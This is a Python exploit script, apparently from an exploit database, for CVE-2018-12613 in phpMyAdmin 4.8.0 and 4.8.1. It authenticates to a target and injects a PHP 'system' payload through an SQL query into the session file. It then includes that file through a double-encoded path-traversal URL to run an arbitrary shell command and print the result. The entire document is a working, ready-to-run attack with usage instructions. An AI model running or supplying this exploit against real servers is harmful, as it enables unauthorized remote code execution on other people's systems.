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# Exploit Title: phpMyAdmin 4.8.1 - Remote Code Execution (RCE) # Date: 17/08/2021 # Exploit Author: samguy # Vulnerability Discovery By: ChaMd5 & Henry Huang # Vendor Homepage: http://www.phpmyadmin.net # Software Link: https://github.com/phpmyadmin/phpmyadmin/archive/RELEASE_4_8_1.tar.gz # Version: 4.8.1 # Tested on: Linux - Debian Buster (PHP 7.3) # CVE : CVE-2018-12613 #!/usr/bin/env python import re, requests, sys # check python major version if sys.version_info.major == 3: import html else: from six.moves.html_parser import HTMLParser html = HTMLParser() if len(sys.argv) < 7: usage = """Usage: {} [ipaddr] [port] [path] [username] [password] [command] Example: {} 192.168.56.65 8080 /phpmyadmin username password whoami""" print(usage.format(sys.argv[0],sys.argv[0])) exit() def get_token(content): s = re.search('token"\s*value="(.*?)"', content) token = html.unescape(s.group(1)) return token ipaddr = sys.argv[1] port = sys.argv[2] path = sys.argv[3] username = sys.argv[4] password = sys.argv[5] command = sys.argv[6] url = "http://{}:{}{}".format(ipaddr,port,path) # 1st req: check login page and version url1 = url + "/index.php" r = requests.get(url1) content = r.content.decode('utf-8') if r.status_code != 200: print("Unable to find the version") exit() s = re.search('PMA_VERSION:"(\d+\.\d+\.\d+)"', content) version = s.group(1) if version != "4.8.0" and version != "4.8.1": print("The target is not exploitable".format(version)) exit() # get 1st token and cookie cookies = r.cookies token = get_token(content) # 2nd req: login p = {'token': token, 'pma_username': username, 'pma_password': password} r = requests.post(url1, cookies = cookies, data = p) content = r.content.decode('utf-8') s = re.search('logged_in:(\w+),', content) logged_in = s.group(1) if logged_in == "false": print("Authentication failed") exit() # get 2nd token and cookie cookies = r.cookies token = get_token(content) # 3rd req: execute query url2 = url + "/import.php" # payload payload = '''select '<?php system("{}") ?>';'''.format(command) p = {'table':'', 'token': token, 'sql_query': payload } r = requests.post(url2, cookies = cookies, data = p) if r.status_code != 200: print("Query failed") exit() # 4th req: execute payload session_id = cookies.get_dict()['phpMyAdmin'] url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}".format(session_id) r = requests.get(url3, cookies = cookies) if r.status_code != 200: print("Exploit failed") exit() # get result content = r.content.decode('utf-8', errors="replace") s = re.search("select '(.*?)\n'", content, re.DOTALL) if s != None: print(s.group(1)) |
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